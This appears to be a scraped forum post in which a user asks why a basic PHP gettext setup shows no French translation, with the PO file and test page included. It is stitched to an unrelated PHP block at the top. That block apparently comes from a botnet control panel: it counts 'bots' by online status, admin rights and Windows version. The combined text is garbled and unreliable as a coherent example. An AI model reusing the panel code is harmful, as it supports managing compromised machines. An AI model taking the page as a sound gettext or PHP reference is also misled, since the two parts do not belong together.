PHP - Change Gettext Path

<?php
    include_once('config.php');
    
    $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
    $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
    $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
    $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
    $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
    $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
    $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
    $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
    $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
    $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
    $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));

    $onlinecount = 0;
    $offlinecount = 0;
    $deadcount = 0;

    $admintruecount = 0;
    $adminfalsecount = 0;

    $windows8count = 0;
    $windows7count = 0;
    $windowsvistacount = 0;
    $windowsxpcount = 0;
    $unknowncount = 0;

    while($row = mysql_fetch_array($online)){
        $onlinecount++;
    }
                 
    while($row = mysql_fetch_array($offline)){
        $offlinecount++;
    }
                 
    while($row = mysql_fetch_array($dead)){
        $deadcount++;
    }
                 
    while($row = mysql_fetch_array($admintrue)){
        $admintruecount++;
    }
                 
    while($row = mysql_fetch_array($adminfalse)){
        $adminfalsecount++;
    }
    
    while($row = mysql_fetch_array($windows8)){
        $windows8count++;
    }
                 
    while($row = mysql_fetch_array($windows7)){
        $windows7count++;
    }
                 
    while($row = mysql_fetch_array($windowsvista)){
        $windowsvistacount++;
    }
                 
    while($row = mysql_fetch_array($windowsxp)){
        $windowsxpcount++;
    }
                 
    while($row = mysql_fetch_array($unknown)){
        $unknowncount++;
    }

    $statustotal    = $onlinecount + $offlinecount + $deadcount;
    $admintotal     = $admintruecount + $adminfalsecount;
    $sototal        = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>

Hello folks,

So, trying to create a multilingual website using gettext. Now, just the simplest examples doesn't seem to work for me. I've loaded gettext.so in my php.ini (see http://corbeauperdu.ddns.net/phpinfo.php) and created a PO / MO pair with POEdit.

My MO/PO file reads: 

msgid ""
msgstr ""
"Project-Id-Version: Prestadesk\n"
"POT-Creation-Date: 2020-03-26 21:08+0100\n"
"PO-Revision-Date: 2020-03-27 07:59+0100\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 2.3\n"
"X-Poedit-Basepath: ../../../..\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Poedit-SourceCharset: UTF-8\n"
"Last-Translator: \n"
"Language: fr\n"
"X-Poedit-SearchPath-0: .\n"

#: templates/prestadesk_dashboard.php:41
#, php-format
msgid "Welcome, %s!"
msgstr "Bienvenu, %s!"

#: templates/prestadesk_dashboard.php:42
msgid "This page will show the dashboard"
msgstr "Cette page affichera le tableau de bord"

It's located under <DOC_ROOT>/prestadesk/include/locales/fr/LC_MESSAGES/prestadesk.po

And I've got this very simple php test page under <DOC_ROOT>/prestadesk/templates/prestadesk_dashboard.php

<?php
$lang='fr';
$domain = 'prestadesk';
$codeset = 'UTF-8';
$locales_dir = '../include/locales'; // need to go up on directory from here to get into the include/locales

// here we define the global system locale given the found language
putenv('LANG='.$lang);

// this might be useful for date functions (LC_TIME) or money formatting (LC_MONETARY), for instance
setlocale(LC_ALL, $lang);

// this will make Gettext look for $locales_dir/<lang>/LC_MESSAGES/prestadesk.mo
bindtextdomain($domain, $locales_dir);

// indicates in what encoding the file should be read
bind_textdomain_codeset($domain, $codeset);

// here we indicate the default domain the gettext() calls will respond to
textdomain($domain);

// test translate
echo gettext("This page will show the dashboard");
?>

Nothing happens. No translation, no errors...  I just see the message in English

Any ideas for me ?

Thanks a bunch!